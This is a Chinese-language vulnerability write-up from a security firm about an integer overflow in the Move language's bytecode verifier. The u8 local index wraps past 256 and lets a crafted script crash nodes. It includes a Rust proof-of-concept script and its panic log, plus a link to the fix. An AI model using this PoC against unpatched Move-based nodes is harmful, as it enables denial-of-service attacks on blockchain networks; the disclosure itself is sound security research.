Numen Cyber 独家发现 Move 语言又一高危漏洞
0x0 前言
之前, 我们发现了一个Aptos Move VM的严重漏洞,经过深入研究,我们发现了另外一个新的整数溢出漏洞。这次的漏洞触发过程相对更有趣一点。 下面是对这个漏洞的深入分析,里面包含了很多 Move 语言本身的背景知识。通过本文讲解相信你会对 Move 语言有更深入的理解。
众所周知,Move 语言在执行字节码之前会验证代码单元。验证代码单元的过程,分为 4 步。这个漏洞就出现在 reference_safety 的步骤中。
fn verify_common(&self) -> PartialVMResult<()> {StackUsageVerifier::verify(&self.resolver, &self.function_view)?;type_safety::verify(&self.resolver, &self.function_view)?;locals_safety::verify(&self.resolver, &self.function_view)?;reference_safety::verify(&self.resolver, &self.function_view, &self.name_def_map)}
如上面代码所示, 此模块定义了用于验证过程主体的引用安全性的转移函数。其检查包括(但不限于)验证没有悬空引用、对可变引用的访问是否安全、对全局存储引用的访问是否安全。
下面是引用安全验证入口函数, 它将调用 analyze_function。
pub(crate) fn verify<'a>(resolver: &'a BinaryIndexedView<'a>,function_view: &FunctionView,name_def_map: &'a HashMap<IdentifierIndex, FunctionDefinitionIndex>,) -> PartialVMResult<()> {let initial_state = AbstractState::new(function_view);let mut verifier = ReferenceSafetyAnalysis::new(resolver, function_view, name_def_map);verifier.analyze_function(initial_state, function_view)}
在 analyze_function 中,函数将对每一个基本块进行验证,那么什么是基本块呢?
在代码编译领域,基本块是一个代码序列,除了入口之外没有分支指令,除了出口之外没有分支指令。
Move 语言是如何识别基本块?
在 Move 语言中, 基本块是通过遍历字节码、查找所有分支指令以及循环指令序列来确定的。以下是核心代码:
// Create basic blockslet mut blocks = Map::new();let mut entry = 0;let mut exit_to_entry = Map::new();for pc in 0..code.len() {let co_pc = pc as CodeOffset;// Create a basic blockif Self::is_end_of_block(co_pc, code, &block_ids) {let exit = co_pc;exit_to_entry.insert(exit, entry);let successors = Bytecode::get_successors(co_pc, code);let bb = BasicBlock { exit, successors };blocks.insert(entry, bb);entry = co_pc + 1;}}fn is_end_of_block(pc: CodeOffset, code: &[Bytecode], block_ids: &Set<BlockId>) -> bool {pc + 1 == (code.len() as CodeOffset) || block_ids.contains(&(pc + 1))}fn record_block_ids(pc: CodeOffset, code: &[Bytecode], block_ids: &mut Set<BlockId>) {let bytecode = &code[pc as usize];if let Some(offset) = bytecode.offset() {block_ids.insert(*offset);}if bytecode.is_branch() && pc + 1 < (code.len() as CodeOffset) {block_ids.insert(pc + 1);}}
接下来,我们来分享一个 Move ir 代码基本块的例子, 如下所示, 它 有 3 个基本块。分别由分支指令:BrTrue,Branch,Ret 确定。
main() {L0: loc0: u64B0:0: LdU64(42)1: LdU64(0)2: Gt3: BrTrue(7)B1:4: LdU64(2)5: StLoc[0](loc0: u64)6: Branch(9)B2:7: LdU64(1)8: StLoc[0](loc0: u64)B3:9: Ret}
0x1 Move 中的引用安全
script {use {{sender}}::M;fun main() {let t = M::create(10);// create a reference directlyM::change(&mut t, 20);// or write reference to a variablelet mut_ref_t = &mut t;M::change(mut_ref_t, 100);// same with immutable reflet value = M::value(&t);// this method also takes only references// printed value will be 1000x1::Debug::print<u8>(&value);}}
在示例中,我们可以看到 mut_ref_t 是 t 的可变引用。所以在 Move 引用安全模块中,尝试通过以函数为单元,扫描函数中的基本块中的字节码指令验证判断所有引用操作是否合法。下图显示了验证引用安全性的主要流程。

这里的 state 是 AbstractState 结构体, 它包含了 borrow graph 和 locals ,他们共同用于确保引用函数中的引用安全性。
pub(crate) struct AbstractState{: Option<FunctionDefinitionIndex>,: BTreeMap<LocalIndex, AbstractValue>,: BorrowGraph,: usize,: usize,}
这里 borrow graph 是用来表示局部变量引用之间关系的图。
从上图中可以看到, 这里有一个 pre state ,其包含 locals 和 borrow graph (L ,BG)。然后执行了 basic block 生成一个 post state (L’, BG’)。之后将前后的 state 合并以更新块状态并将该块的后置条件传播到后续块。这就像 V8 turbofan 中的Sea of Nodes 思想。
下面的代码是上图对应的主循环。首先, 执行块代码(如果执行指令不成功,将返回 AnalysisError)然后尝试通过 join_result 是否更改,来合并 pre state 和 post state。如果更改并且当前块本身包含一个后向的边指向自己(这意味着有一个循环)将跳回到循环的开头, 在下一轮循环仍将执行此基本块,直到 post state 等于 pre state 或因某些错误而中止。
let post_state = self.execute_block(block_id, pre_state, function_view)?;let mut next_block_candidate = function_view.cfg().next_block(block_id);// propagate postcondition of this block to successor blocksfor successor_block_id in function_view.cfg().successors(block_id) {match inv_map.get_mut(successor_block_id) {Some(next_block_invariant) => {let join_result = {let old_pre = &mut next_block_invariant.pre;old_pre.join(&post_state)};match join_result {JoinResult::Unchanged => {// Pre is the same after join. Reanalyzing this block would produce// the same post}JoinResult::Changed => {// If the cur->successor is a back edge, jump back to the beginning// of the loop, instead of the normal next blockif function_view.cfg().is_back_edge(block_id, *successor_block_id){next_block_candidate = Some(*successor_block_id);}}}}
因此在引用安全模块,如何判断 join 的结果是否改变?
fn join(&mut self, state: &AbstractState) -> JoinResult {let joined = Self::join_(self, state);assert!(joined.is_canonical());assert!(self.num_locals == joined.num_locals);let locals_unchanged = self.iter_locals().all(|idx| self.locals.get(&idx) == joined.locals.get(&idx));let borrow_graph_unchanged = self.borrow_graph.leq(&joined.borrow_graph);if locals_unchanged && borrow_graph_unchanged {JoinResult::Unchanged} else {*self = joined;JoinResult::Changed}}
通过上面的代码,我们可以通过判断 locals 和 borrow 关系是否发生变化来判断 join 结果是否发生变化。 这里的 join_ 函数用于更新本地变量和 borrow 关系图 。
下面是 join_ 函数代码,第 6 行是初始化一个新的 locals Map 对象。 第 9 行迭代 locals 中的所有索引,如果 pre state 与 post state 都值为 None,则不要插入到新的 locals 映射中,如果 pre state 有值,post state 为 None,则需要释放 brow_graph id ,意味着这里消除该值的借用关系, 反之亦然。特别的,当 pre state 与 post state 两个值都存在且相同时,像第 30-33 行一样将它们插入到新的 map 中,然后在第 38 行合并 borrow graph。
pub fn join_(&self, other: &Self) -> Self {assert!(self.current_function == other.current_function);assert!(self.is_canonical() && other.is_canonical());assert!(self.next_id == other.next_id);assert!(self.num_locals == other.num_locals);let mut locals = BTreeMap::new();let mut self_graph = self.borrow_graph.clone();let mut other_graph = other.borrow_graph.clone();for local in self.iter_locals() {let self_value = self.locals.get(&local);let other_value = other.locals.get(&local);match (self_value, other_value) {// Unavailable on both sides, nothing to add(None, None) => (),(Some(v), None) => {// A reference exists on one side, but not the other. Releaseif let AbstractValue::Reference(id) = v {self_graph.release(*id);}}(None, Some(v)) => {// A reference exists on one side, but not the other. Releaseif let AbstractValue::Reference(id) = v {other_graph.release(*id);}}// The local has a value on each side, add it to the state(Some(v1), Some(v2)) => {assert!(v1 == v2);assert!(!locals.contains_key(&local));locals.insert(local, *v1);}}}let borrow_graph = self_graph.join(&other_graph);let current_function = self.current_function;let next_id = self.next_id;let num_locals = self.num_locals;Self {current_function,locals,borrow_graph,num_locals,next_id,}}}
通过上面代码,我们可以看到 self.iter_locals() 是 locals 变量的个数。 请注意,此局部变量不仅包括函数的真实局部变量,还包括参数。
0x2 漏洞
在这里我们已经覆盖了所有与漏洞相关的代码,你找到漏洞了吗?
如果你没有发现漏洞也没关系,下面我会详细说明漏洞触发过程。
首先在下面的代码中,如果参数长度添加局部长度大于 256。这似乎没有问题?
let num_locals = function_view.parameters().len() + function_view.locals().len();但是此函数将返回 u8 类型的迭代器。
fn iter_locals(&self) -> impl Iterator<Item = LocalIndex> {0..self.num_locals as LocalIndex}
当函数 join_() 中是 function_view.parameters().len() 和 function_view.locals().len() 组合值大于 256,由于语句 for local in self.iter_locals() 中 local 是 u8 类型,此时执行此语句会造成溢出。
开发者似乎只检查了 Move modules 代码中的 locals+parameter 长度, 而忽略了 Script。

0x3 从 Move 整型溢出到 DoS
通过上面的介绍,我们知道有一个主循环来扫描代码块,然后调用 execute_block 函数,之后会合并执行前后的 state,当 move 代码中存在循环,则会跳转到代码块开始,再次执行基本块。因此,如果我们制造一个循环代码块并利用溢出改变块的 state,使 AbstractState 对象中的新的 locals map 与之前不同,当再次执行 execute_block 函数时,在分析 basic block 中字节码指令序列的时候会访问新的 locals map,这时候如果指令中需要访问的索引在新的 AbstractState locals map 中不存在,将导致 DoS。

在审核代码后,我发现在 reference safety 模块中,MoveLoc/CopyLoc/FreeRef 操作码,我们可以实现这个目标。
这里让我们看一下文件路径中 execute_block 函数调用的 copy_loc 函数作为一个说明:
move/language/move-bytecode-verifier/src/reference_safety/abstract_state.rs

在第 287 行,代码尝试通过 LocalIndex 作为参数获取本地值,如果 LocalIndex 不存在会导致 panic,想象一下当节点执行满足上述条件代码的时候,会导致整个节点崩溃。
0x4 PoC
下面是你可以在 git 里面重现的 PoC:
commit:add615b64390ea36e377e2a575f8cb91c9466844
fn PoC(){let sigs = (0..132)Reference(Box::new(U64)))::<Vec<_>>();let script = CompiledScript {version:5,module_handles:vec![],struct_handles:vec![],function_handles:vec![],function_instantiations:vec![],signatures: vec![Signature(sigs)],identifiers:vec![],address_identifiers:vec![],constant_pool:vec![],metadata:vec![Metadata {key:vec! [],value: vec![],},],code: CodeUnit {locals: SignatureIndex(0),code: vec![CopyLoc(57), StLoc(57), CopyLoc(57), StLoc(41), Branch(0)],},type_parameters:vec![],parameters:SignatureIndex(0),};let res=crate::verify_script(&script);}
下面是崩溃日志:
thread 'regression_tests::reference_analysis::PoC' panicked at 'called `Option::unwrap()` on a `None` value', language/move-bytecode-verifier/src/reference_safety/abstract_state.rs:287:39
note: run with `RUST_BACKTRACE=1` environment variable to display a backtrace
触发 DoS 的步骤:
我们可以看到 PoC 中代码块存在一个 basic block,分支指令是一个无条件分支指令,每次执行最后一条指令时,branch(0) 将跳回第一条指令,因此这个代码块将多次调用 execute_block 和 join 函数。
1.在第一次执行完 execute_block 函数,当这里设置 parameters 为 SignatureIndex(0),locals 为 SignatureIndex(0) 会导致 num_locals 为 132*2=264。 所以在执行 join_函数下面这行代码之后,将会导致新的 locals map 长度为 8.
for local in self.iter_locals()2.在第二次执行 execute_block 函数时,执行 move 代码第一条指令 copyloc(57),57 是 locals 需要压入栈的 offset,但是这次 locals 只有长度 8,offset 57 不存在,所以会导致 get(57).unwrap() 函数返回 none ,最后导致 panic。
0x5 总结
以上就是这个漏洞的来龙去脉。首先这个漏洞说明没有绝对安全的代码, Move 语言在代码执行之前确实做了很好的静态校验,但是就像这个漏洞一样,可以通过溢出漏洞完全绕过之前的边界校验。再者代码审计很重要,程序员难免会疏忽。作为 Move 语言安全研究的领导者,我们将继续深挖 Move 的安全问题。第三点,对于 Move 语言,我们建议语言设计者在 Move 运行时增加更多的检查代码,以防止意外情况的发生。目前 Move 语言主要是在 verify 阶段进行一系列的安全检查,但我觉得这还不够,一旦验证被绕过,运行阶段没有过多的安全加固,将导致危害进一步加深,引发更严重的问题。
目前,该漏洞已经由 Aptos 团队通过 git 提交修复: https://github.com/move-language/move/commit/760937315ecc857bb4eb35f05193bbc639821514 。对于其他使用Move 语言的项目方, 我们建议尽快更新到最新版本,以防止受到攻击。
最后,我们还发现了 Move 语言的另一个漏洞,后续会继续分享给大家,敬请期待!
0x6 参考资料
https://github.com/move-language/move
https://github.com/MystenLabs/awesome-move
https://move-language.github.io/move/

【免责声明】市场有风险,投资需谨慎。本文不构成投资建议,用户应考虑本文中的任何意见、观点或结论是否符合其特定状况。据此投资,责任自负。
来源链接

